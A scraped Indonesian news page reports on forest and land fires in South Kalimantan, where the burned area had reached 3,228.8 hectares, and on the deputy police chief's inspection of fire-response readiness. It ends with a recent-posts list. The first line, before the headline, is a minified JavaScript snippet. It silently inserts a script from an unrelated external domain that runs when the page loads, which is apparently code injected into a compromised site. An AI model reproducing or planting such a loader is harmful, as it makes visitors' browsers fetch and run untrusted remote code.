(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Luasan Terbakar di Kalsel Capai 3.228,8 Ha, Wakapolri Cek Kesiapan Personil Hadapi Karhutla


BANJARBARU, Hadapi kebakaran hutan dan lahan (Karhutla) di wilayah Kalimantan Selatan, Wakapolri Komjen Pol Drs Ari Dono Sukmanto SH cek kesiapan personil Polri maupun peralatan yang dimiliki.

Kehadiran orang nomor dua di institusi Polri di Kalsel bersama dengan Tim Asistensi dan Supervisi Satgas Karhutla Mabes Polri. Rombongan tiba di Posko Karhutla Km 21 Banjarbaru sekitar pukul 14.30 Wita, Kamis (12/9).

Wakapolri Komjen Ari Dono Sumanto menjelaskan, permasalahan Karhutla sekarang ini menjadi perhatian utama pemerintah dikarenakan berbagai dampak buruk yang ditimbulkan oleh Karhutla.

“Karhutla sangat berbahaya dan berdampak pada rusaknya ekosistem serta musnahnya flora dan fauna yang tumbuh hidup di hutan, untuk itu hal ini harus mendapat perhatian khusus dalam penanganannya,” katanya. 

Baca: Jarak Pandang Terbatas, 7 Penerbangan di Bandara Syamsudin Noor Terganggu Asap, Satgas Karhutla Kewalahan Padamkan 6 Titik Api

Ditambahkannya, dampak  Karhutla seperti asap yang ditimbulkan akhirnya mengganggu jarak pandang. Juga menjadi polusi udara yang dapat menyebabkan penyakit pada saluran pernafasan seperti ISPA, asma, penyakit paru obstruktif kronik.

“Untuk itu saya turun langsung kelapangan melakukan pengecekkan kesiapan anggota dalam mencegah, mengatasi hingga memadamkan api Karhutla. Tidak hanya itu, peralatan yang digunakan pun harus yang berkualitas sehingga dapat memadamkan api hingga ke akarnya,” pungkas Wakapolri.

Sekadar diketahui sejak Rabu (11/9) kemarin, jumlah luasan Karhutla yang terjadi di Kalsel sudah mencapai 3.228,8  hektare. Sementara tiga luas lahan terbakar terbanyak terjadi di wilayah Kalsel diisi Kabupaten Banjar yaitu seluas 581,2 hektare, disusul wilayah Kabupaten Tanah Laut seluas 577,5 hektar, dan Kabupaten Tapin seluas 560,7 hektare.

Bila dilihat berdasarkan jumlah Karhutla, terbanyak masih terjadi di Kabupaten Tanah Laut dengan jumlah 287 kejadian, disusul Kota Banjarbaru dengan 208  kejadian, dan Kabupaten Banjar 100 kejadian.

Kedatangan Wakapolri di Bumi Lambung Mangkurat ini disambut langsung oleh Kapolda Kalsel Irjen Pol Drs Yazid Fanani MSi beserta seluruh PJU Polda Kalsel dan para Kapolres jajaran. Unsur petinggi pimpinan TNI juga turut hadir mendampingi kegiatan pengecekkan kesiapan terhadap penanggulangan Karhutla. (rendy) 

Reporter : Rendy
Editor : Bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.